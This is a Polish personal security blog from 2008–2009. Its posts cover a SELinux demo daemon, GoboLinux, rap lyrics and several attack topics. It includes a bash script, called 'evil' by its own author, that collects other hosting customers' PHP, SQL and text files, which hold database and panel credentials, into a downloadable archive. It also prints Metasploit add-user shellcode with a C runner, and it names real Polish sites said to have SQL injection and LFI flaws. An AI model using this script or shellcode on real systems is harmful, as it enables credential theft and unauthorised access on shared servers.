crony.develzone.pl - check IT out !

Posted in newsy by crony on the luty 6th, 2009

Zapraszam na nową stronę domową. crony.develzone.pl

SELinux - polityka dla naszego mini-demona.

Posted in newsy, selinux by crony on the styczeń 10th, 2009

Mini-demon to krótki program w C, który wykonuje kilka operacji. Poniżej źródła:

#include <stdio.h>
#include <strings.h>
#include <stdlib.h>
#include <sys/types.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
int main(void)
{

pid_t pid, sid;
pid = fork();
if (pid < 0)
{
exit(EXIT_FAILURE);
}
if(pid > 0)
{
exit(EXIT_SUCCESS);
}
if(chdir(”/”) < 0)
{
exit(EXIT_FAILURE);
}
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
mode_t mode = S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH;
while(1)
{
chmod(”/etc/shadow”, mode);
fopen(”/etc/demon.conf”, “r”);
fopen(”/etc/resolv.conf”, “r”);
fopen(”/var/www/index.html”, “w”);
sleep(10);
}
}

Program ma na celu pokazanie w jaki sposób działa SELinux w konkretnym przypadku. Zabieramy się więc za napisanie polityki, która wyglądać będzie tak:

(więcej…)

Windows 7 :))))

Posted in newsy by crony on the styczeń 9th, 2009

scull

GoboLinux - specyficzna dystrybucja.

Posted in newsy, unix/linux by crony on the styczeń 9th, 2009

scull

Natknąłem się ostatnio na stronę projektu GoboLinux (http://www.gobolinux.org/). Alternatywna dystrybucja Linuxa, której cechą wyróżniającą jest struktura katalogów. Zazwyczaj spotykamy się z hierarchią typu :
/
/usr/
/usr/lib
/usr/local/
/usr/local/bin
/usr/local/sbin/

.. itd…

Wszyscy przyzwyczailiśmy się do tej struktury. Ma ona oczywiście swoje wady, takie jak brak jednolitego wbudowanego systemu, który czuwałby nad porządkiem plików zapisywanych w filesystemie. Dystrybucje dorobiły się różnego rodzaju menadźerów pakietów, które pomagają zlokalizować pliki należące do danego pakietu, np. RPM. Ale gdy kompilujemy źródła i wykonujemy make install - wtedy już ciężej zlokalizować wszystkie pliki (oczywiście nie biorę pod uwagę korzystania zoprogramowania sprawdzającego integralność jak np. OSSEC czy aide - bo oczywiście DA SIĘ :) ).

(więcej…)

Błędy SQL Injection w UM Warszawa

Posted in newsy by crony on the styczeń 7th, 2009

scull

Tak się składa, że często wyjeżdżam do Warszawy. Wchodząc na witrynę: http://www.um.warszawa.pl znalazłem błędy typu SQL Injection. Error reporting wyłączone, tak więc zadanie było trochę utrudnione. Musiałem użyć funkcji hex() oraz unhex() w celu poprawnego wysłania zapytania do bazy. Wadliwy skrypt to: http://www.um.warszawa.pl/v_syrenka/adresy/index_grupa.php . Nieodpowiednia walidacja danych wejściowych pozwala na wyciągnięcie dowolnych informacji z bazy danych. Administratorzy zostali poinformowani. Poniżej screenshot: Urząd Miasta Warszawa - SQL INJECTION Proof

Usługi hostingowe i niepoprawne uprawnienia

Posted in newsy by crony on the styczeń 5th, 2009

scull

W celu sprawdzenia czy uprawnienia nadawane na pliki w systemach firm hostingowych są poprawne napisałem prosty skrypt, który wykonuje całą brudną robotę za nas. Okazuje się, że z jednego serwera hostingowego, na którym mamy dostęp, np do shella można ściągnąć i po kilkadziesiąt megabajtów danych użytkowników. W jaki sposób? W bardzo prosty. Zazwyczaj można się spotkać z sytuacją gdy nie ma możliwości wylistowania katalogu /home celem poznania nazw katalogów tam znajdujących się.

Od czego zatem mamy plik /etc/passwd? OK, a więc nazwy katalogów domowych użytkowników już znamy. Jednak przy listowaniu zawartości tych katalogów również otrzymujemy Permission denied (wszystko, za sprawą braku prawa x). Wiemy natomiast, że każdy katalog domowy użytkownika, np. /home/tester posiada podkatalog public_html! Co się okazuje? Można go listować ! A więc znamy nazwy plików tam znajdujących się i co najlepsze : możemy je czytać, a nieraz nawet i modyfikować. W zawartości plików możemy znaleźć loginy i hasła do baz danych, pliki .htaccess z hasłami, hasła do paneli administracyjnych, itd…

A wszystko przez niepoprawnie nadawane uprawnienia oraz niepoprawnie ustawione maski dla nowotworzonych plików. Niebawem planuję poinformować o tym fakcie szersze grono przedstawiając raport na temat bezpieczeństwa kilku firm hostingowych:> Poniżej skrypt, który tworzy paczkę z danych użytkowników - gotową do ściągnięcia i rozpakowania na własnym dysku:D :

#!/bin/bash

USERS=`awk -F “:” ‘ { print $1 } ‘ /etc/passwd`
NASTY_DIR=”/tmp/YTSAN.012200000″
NASTY_PACK=”/tmp/ytsan.012″

if [ -d $NASTY_DIR ]; then
rm -fr $NASTY_DIR
fi

if [ -f $NASTY_PACK ]; then
rm -f $NASTY_PACK
fi

mkdir $NASTY_DIR

for a in $USERS; do
if [ -d /home/$a/public_html ]; then
mkdir $NASTY_DIR/$a
find -L /home/$a/public_html -type f > $NASTY_DIR/$a/files_list.txt
find -L /home/$a/public_html -type f \( -name ‘*.txt’ -o -name ‘*.php’ -o -name ‘*inc’ -o -name ‘*.php4′ -o -name ‘*.php5′ -o -name ‘*.sql’ \) -exec cp {} $NASTY_DIR/$a \;
fi
done

tar -czf $NASTY_PACK $NASTY_DIR 2&> /dev/null
rm -fr “$NASTY_DIR”
echo “All evil’s done…”

LFI - Local File Inclusion

Posted in newsy by crony on the styczeń 5th, 2009

Błędy typu LFI - Local File inclusion - typowe, wykorzystywane przez atakujących pozwalające przeglądać dowolny plik na serwerze, do których użytkownik, z którego serwer www został uruchomiony posiada prawa. Przypadkowo natknąłem się na stronę: www.czyscik.com. Stron z błędami tego typu jest cała masa. Wystarczy pogoglować i podopisywać odpowiednie parametry do zmiennych, które tego typu strony przyjmują… O błędzie oczywiście poinformowałem… Poniżej plik /etc/passwd z serwera:

(więcej…)

“Przetrwasz” feat. O.S.T.R.

Posted in newsy by crony on the grudzień 12th, 2008

Te słowa mówią wszystko:

Przetrwasz, zamknij się, słuchaj masz
siłę, ducha, styl, który wybucha, patrz
to otucha, milcz, kiedy nie ma tarcz,
ktoś do ucha mówi Ci, że nie ma tego złego, walcz.

Przetrwasz, zamknij się, słuchaj masz
siłę, ducha, styl, który wybucha, patrz
to otucha, milcz, kiedy nie ma tarcz,
ktoś do ucha mówi Ci, że nie ma tego złego, walcz.

Czasem tak bywa, nie każdy wygrywa,
czasem bywa tak, że cos ważnego się urywa,
zostaje ślad, nie mozna tego nie przeżywać,
można ukrywać fakt, ale w snach, to przypływa,
człowiek jest skonstruowany tak, by sie dostosowywać
i jeśli Bóg miał swój plan, to ty mu wybacz,
to ty też musisz mieć swój i się nie odzywać.
Nie możesz okłamywać się, że nikt cię nie wykiwa,
nieznośna lekkość bytu, słodko gorzki smak ma, jak
magma ze szczytu, prawda na nas opadła,
ty zaryzykuj skoro nic do stracenia nie masz,
życie, to magia,
użyj swojego płomienia, do podpalenia
swojej latarni, marzenia do zobaczenia światła i cienia
w zwierciadłach, od dawna nie ma w nas zwątpienia.
Dlaczego teraz miałbys umierać?
Tego wszystkiego nie zaznać?

(więcej…)

Shellcode - jak sprawdzić czy działa poprawnie?

Posted in newsy, programowanie, unix/linux by crony on the grudzień 12th, 2008


Shellcode to nic innego jak kod maszynowy podawany bezpośrednio do wykonania przez procesor w postaci gotowych instrukcji. Zapisany jest zazwyczaj w postaci heksadecymalnej. Tego typu forma musi zostać zachowana i jest konieczna do wykorzystywania shellcodów przy tworzeniu exploitów wykorzystujących błędy w oprogramowaniu. Jedną z najważniejszych cech poprawnego shellcodu jest jego długość (rozmiar) - kod taki powinien być jak najkrótszy czyli dobrze zoptymalizowany. Kolejną bardzo istotną cechą shellcodu jest brak wykorzystania znaków NULL. Dlaczego? Ponieważ NULL oznacza koniec ciągu znaków… a więc nasz shellcode zostałby uwalony np. w połowie podczas kopiowania do pamięci…
Jak więc sprawdzić zarówno jaki rozmiar posiada nasz shellcode jak i czy w ogóle działa ? Poniżej wygenerowany za pomocą metasploitu shellcode o długości 116 bajtów:

unsigned char scode[] =
“\x31\xc9\x83\xe9\xe9\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe4″
“\x89\x4e\xc4\x83\xeb\xfc\xe2\xf4\xd5\x40\xc7\x0f\x8e\xcf\x16\x09″
“\x64\xe3\x4b\x9c\xd5\x40\x1f\xac\x97\xfa\x39\xa0\x8c\xa6\x61\xb4″
“\x85\xe1\x61\xa1\x90\xea\xc7\x27\xa5\x3c\x4a\x09\x64\x1a\xa6\xe7″
“\xe4\x89\x4e\xa7\x96\xe6\x20\xbd\xde\xc8\x0f\xf2\xdc\xda\x2f\x94″
“\xca\xed\x02\xa7\xb7\xcc\x74\xf4\xde\xb9\x74\xfe\xcb\xb3\x61\xa6″
“\x8d\xe7\x61\xb7\x8c\x83\x17\x4f\xb5\x75\x24\xc0\xbc\x44\xce\xae”
“\xe5\xd1\x83\x44″;

Bardzo łatwo można sprawdzić faktyczną długość shellcodu za pomocą kodu poniżej:

char shellcode[] = “moj_shellcode”
int main()
{
int lenght,ret;
lenght = strlen(shellcode);
printf(”%d\n”, lenght);
}

I kolejny kod napisany w C , za pomocą, którego będziemy pewni, że nasz ‘opcode’ działa:

#include
char shellcode[] = “\x31\xc9\x83\xe9\xe9\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe4″
“\x89\x4e\xc4\x83\xeb\xfc\xe2\xf4\xd5\x40\xc7\x0f\x8e\xcf\x16\x09″
“\x64\xe3\x4b\x9c\xd5\x40\x1f\xac\x97\xfa\x39\xa0\x8c\xa6\x61\xb4″
“\x85\xe1\x61\xa1\x90\xea\xc7\x27\xa5\x3c\x4a\x09\x64\x1a\xa6\xe7″
“\xe4\x89\x4e\xa7\x96\xe6\x20\xbd\xde\xc8\x0f\xf2\xdc\xda\x2f\x94″
“\xca\xed\x02\xa7\xb7\xcc\x74\xf4\xde\xb9\x74\xfe\xcb\xb3\x61\xa6″
“\x8d\xe7\x61\xb7\x8c\x83\x17\x4f\xb5\x75\x24\xc0\xbc\x44\xce\xae”
“\xe5\xd1\x83\x44″;

int main (int argc, char **argv)
{
int (*ret)(); /*ret to wskaźnik funkcji */
ret = (int(*)())shellcode; /* ret wskazuje na nasz shellcode */
(int)(*ret)(); /* wykonaj jako funkcję shellcode */
}

Jeśli uruchomisz tego execa z uprawnieniami zwykłego usera otrzymasz:
gdm@slack2:/tmp$ strace ./is
execve(”./is”, ["./is"], [/* 27 vars */]) = 0
uname({sys=”Linux”, node=”slack2″, …}) = 0
brk(0) = 0×804a000
access(”/etc/ld.so.preload”, R_OK) = -1 ENOENT (No such file or directory)
open(”/etc/ld.so.cache”, O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=26720, …}) = 0
mmap2(NULL, 26720, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7f9b000
close(3) = 0
open(”/lib/tls/libc.so.6″, O_RDONLY) = 3
read(3, “\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300P\1″…, 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1366940, …}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7f9a000
mmap2(NULL, 1162428, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e7e000
mprotect(0xb7f93000, 27836, PROT_NONE) = 0
mmap2(0xb7f94000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0×115) = 0xb7f94000
mmap2(0xb7f98000, 7356, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7f98000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e7d000
mprotect(0xb7f94000, 4096, PROT_READ) = 0
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e7d6c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
munmap(0xb7f9b000, 26720) = 0
setreuid(0, 0) = -1 EPERM (Operation not permitted)
open(”/etc//passwd”, O_WRONLY|O_APPEND) = -1 EACCES (Permission denied)
write(-13, “crony:AA68SaP.dLcSE:0:0::/:/bin/”…, 35) = -1 EBADF (Bad file descriptor)
_exit(-13) = ?

Shellcode chciał dodać nowego użytkownika ‘crony’ do systemu, ale niestety nie ma na to w tym przypadku uprawnień.

Należy zwracać uwagę na architekturę, na której testujecie takie kody jak powyżej. Wygenerowany shellcode to: Linux IA32 Add User, a więc na x86_64 działać nie będzie, a w efekcie otrzymacie segfaulta.

Skoro działa, pozostaje tylko odpowiednio go wykorzystać:>

SELinux - future of security

Posted in newsy by crony on the grudzień 9th, 2008

Jakiś czas temu znalazłem w internecie (taaak wiem :P )stronę firmy, która jako jedyna w Polsce przyznaje się do wdrażania mechanizmu SELinux dla przedsiębiorstw. Jako, iż tematyka jest po pierwsze bardzo interesująca, a po drugie bardzo popularna w ostatnim czasie (tzn. wielu chce, ale nie wie jak ;> ) postanowiłem udostępnić ciekawy artykuł ich autorstwa na moim hompejdżu;) Poniżej link do PDF-a:
SELinux - podstawa bezpiecznej infrastruktury
Strona firmy: Emerge.pl

Następna strona »